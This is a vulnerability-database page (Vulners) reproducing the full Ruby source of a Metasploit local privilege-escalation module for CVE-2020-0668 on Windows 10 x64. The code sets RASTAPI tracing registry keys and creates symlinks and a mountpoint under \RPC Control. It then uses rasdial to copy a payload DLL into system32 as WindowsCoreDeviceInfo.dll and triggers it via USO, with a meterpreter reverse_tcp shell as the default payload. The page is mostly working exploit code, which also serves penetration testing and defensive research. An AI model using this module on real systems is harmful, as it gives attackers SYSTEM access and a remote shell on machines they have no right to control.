Lucene search
K

Service Tracing Privilege Elevation Vulnerability

🗓️ 20 Apr 2020 14:32:55Reported by itm4n, bwatters-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 78 Views

This module leverages a trusted file overwrite with a DLL hijacking vulnerability to gain SYSTEM-level access on vulnerable Windows 10 x64 targets

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE
  include Msf::Post::Windows::FileSystem
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Exploit::FileDropper
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Service Tracing Privilege Elevation Vulnerability',
        'Description' => %q{
          This module leverages a trusted file overwrite with a DLL hijacking
          vulnerability to gain SYSTEM-level access on vulnerable Windows 10 x64
          targets.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'itm4n', # PoC
          'bwatters-r7' # msf module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-02-11',
        'References' => [
          ['CVE', '2020-0668'],
          ['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],
          ['URL', 'https://github.com/itm4n/SysTracingPoc'],
          ['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],
          ['PACKETSTORM', '156576'],
          ['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],
          ['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']
        ],
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DefaultOptions' => {
          'DisablePayloadHandler' => false,
          'EXITFUNC' => 'thread',
          'Payload' => 'windows/x64/meterpreter/reverse_tcp',
          'WfsDelay' => 900
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_fs_md5
              stdapi_railgun_api
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options([
      OptString.new('EXPLOIT_DIR',
                    [false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),
      OptBool.new('OVERWRITE_DLL',
                  [true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),
      OptString.new('PAYLOAD_UPLOAD_NAME',
                    [false, 'The filename to use for the payload binary (%RAND% by default).', nil]),
      OptString.new('PHONEBOOK_UPLOAD_NAME',
                    [false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])
    ])
  end

  def write_reg_value(registry_hash)
    vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
    begin
      if !registry_key_exist?(registry_hash[:key_name])
        registry_createkey(registry_hash[:key_name])
        registry_hash[:delete_on_cleanup] = true
      else
        registry_hash[:delete_on_cleanup] = false
      end
      registry_setvaldata(registry_hash[:key_name].strip, \
                          registry_hash[:value_name].strip, \
                          registry_hash[:value_value], \
                          registry_hash[:value_type])
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.to_s)
    end
  end

  def remove_reg_value(registry_hash)
    # we may have already deleted the key
    return unless registry_key_exist?(registry_hash[:key_name])

    begin
      if registry_hash[:delete_on_cleanup]
        vprint_status("Deleting #{registry_hash[:key_name]} key")
        registry_deletekey(registry_hash[:key_name])
      else
        vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
        registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
      end
    rescue Rex::Post::Meterpreter::RequestError => e
      print_bad('Unable to clean up registry')
      print_error(e.to_s)
    end
  end

  def create_reg_hash(new_size, exploit_dir)
    reg_keys = []
    reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
                  value_name: 'EnableFileTracing',
                  value_type: 'REG_DWORD',
                  value_value: 1,
                  delete_on_cleanup: false)
    reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
                  value_name: 'FileDirectory',
                  value_type: 'REG_EXPAND_SZ',
                  value_value: exploit_dir,
                  delete_on_cleanup: false)
    reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
                  value_name: 'MaxFileSize',
                  value_type: 'REG_DWORD',
                  value_value: new_size,
                  delete_on_cleanup: false)
    reg_keys
  end

  def remove_file(file_pathname)
    vprint_status("Deleting #{file_pathname}")
    begin
      session.fs.file.rm(file_pathname)
    rescue Rex::Post::Meterpreter::RequestError
      print_error("Manual cleanup of \"#{file_pathname}\" required!")
    end
  end

  def launch_dll_trigger
    print_status('Triggering the Reflective DLL injection and running the LPE DLL...')
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll'),
      encoded_payload
    )
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  rescue Rex::Post::Meterpreter::RequestError => e
    elog(e)
    print_error(e.message)
  end

  def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)
    handles = [] # stores open handles to cleanup properly
    reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir)
    vprint_status("Registry hash = #{reg_hash}")

    # set up directories and mountpoints
    vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}")
    mkdir(exploit_dir)
    vprint_status("Made #{exploit_dir}")
    register_file_for_cleanup(upload_payload_pathname)
    mount_dir = '\\RPC Control\\'

    # Create mountpoint
    print_status('Creating mountpoint')
    mount_point_handle = create_mount_point(exploit_dir, mount_dir)
    unless mount_point_handle
      fail_with(Failure::Unknown, 'Error when creating the mount point... aborting.')
    end

    # Upload payload
    print_status("Uploading payload to #{upload_payload_pathname}")
    write_file(upload_payload_pathname, file_contents)
    register_file_for_cleanup(upload_payload_pathname)
    upload_md5 = session.fs.file.md5(upload_payload_pathname)
    vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")

    # Create Symlinks
    print_status('Creating Symlinks')
    vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")
    symlink_handle = create_object_symlink(nil, '\\RPC Control\\RASTAPI.LOG', "\\??\\#{upload_payload_pathname}")
    unless symlink_handle
      fail_with(Failure::Unknown, 'Error when creating the RASTAPI.LOG symlink... aborting.')
    end
    vprint_status("Collected Symlink Handle #{symlink_handle}")
    handles.push(symlink_handle)
    vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")
    symlink_handle = create_object_symlink(nil, '\\RPC Control\\RASTAPI.OLD', "\\??\\#{target_payload_pathname}")
    unless symlink_handle
      fail_with(Failure::Unknown, 'Error when creating the RASTAPI.OLD symlink... aborting.')
    end
    vprint_status("Collected Symlink Handle #{symlink_handle}")
    handles.push(symlink_handle)

    # write registry keys
    reg_hash.each do |entry|
      write_reg_value(entry)
    end

    # Upload phonebook file
    phonebook_name = datastore['PHONEBOOK_NAME'] || "#{Rex::Text.rand_text_alpha(6..13)}.pbk"
    upload_phonebook_pathname = "#{session.sys.config.getenv('TEMP')}\\#{phonebook_name}"
    launch_rasdialer(upload_phonebook_pathname)
    register_file_for_cleanup(upload_phonebook_pathname)
    vprint_status("Checking on #{target_payload_pathname}")
    vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")
    moved_md5 = session.fs.file.md5(target_payload_pathname)
    vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}")

    # clean up after file move
    print_status('Cleaning up before triggering dll load...')
    print_status('Removing Registry keys')
    reg_hash.each do |entry|
      remove_reg_value(entry)
    end
    print_status('Removing Symlinks')
    handles.each do |handle|
      result = session.railgun.kernel32.CloseHandle(handle)
      vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")
    end
    print_status('Removing Mountpoint')
    delete_mount_point(exploit_dir, mount_point_handle)
    print_status('Removing directories')
    unless moved_md5 == upload_md5
      fail_with(Failure::Unknown, 'Payload hashes do not match; filecopy failed.')
    end
  end

  def exploit
    validate_target
    validate_active_host
    # dll should not already exist
    win_dir = session.sys.config.getenv('windir')
    target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
    if file?(target_payload_pathname)
      print_warning("#{target_payload_pathname} already exists")
      print_warning('If it is in use, the overwrite will fail')
      unless datastore['OVERWRITE_DLL']
        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
        fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
      end
    end

    # set up variables
    temp_dir = session.sys.config.getenv('TEMP')
    exploit_dir = datastore['EXPLOIT_DIR'] || "#{temp_dir}\\#{Rex::Text.rand_text_alpha(6..13)}"
    upload_payload_pathname = "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
    payload_dll = generate_payload_dll
    print_status("Payload DLL is #{payload_dll.length} bytes long")

    # start file copy
    rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname)
    # launch trigger
    launch_dll_trigger
    print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")
    print_status('Exploit complete.  It may take up to 10 minutes to get a session')
  end

  def validate_active_host
    print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
  rescue Rex::Post::Meterpreter::RequestError => e
    elog(e)
    raise Msf::Exploit::Failed, 'Could not connect to session'
  end

  def validate_target
    unless sysinfo['Architecture'] == ARCH_X64
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end

    if session.arch == ARCH_X86
      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
    end

    version_info = get_version_info
    unless version_info.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1909)
      fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')
    end
  end

  def launch_rasdialer(upload_phonebook_pathname)
    local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt')
    ensure_clean_destination(upload_phonebook_pathname)
    vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}")
    begin
      upload_file(upload_phonebook_pathname, local_phonebook_path)
    rescue Rex::Post::Meterpreter::RequestError
      print_error('Failed to upload phonebook')
      return nil
    end
    print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")

    # Launch RASDIAL
    vprint_status('Launching Rasdialer')
    rasdial_cmd = "rasdial VPNTEST test test /PHONEBOOK:#{upload_phonebook_pathname}"
    print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")
    output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)
    vprint_status(output)
  end

  def ensure_clean_destination(path)
    return unless file?(path)

    print_status("#{path} already exists on the target. Deleting...")
    begin
      file_rm(path)
      print_status("Deleted #{path}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog(e)
      print_error("Unable to delete #{path}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Dec 2024 23:11Current
7.8High risk
Vulners AI Score7.8
CVSS 27.2
CVSS 3.17.8
EPSS0.2605
78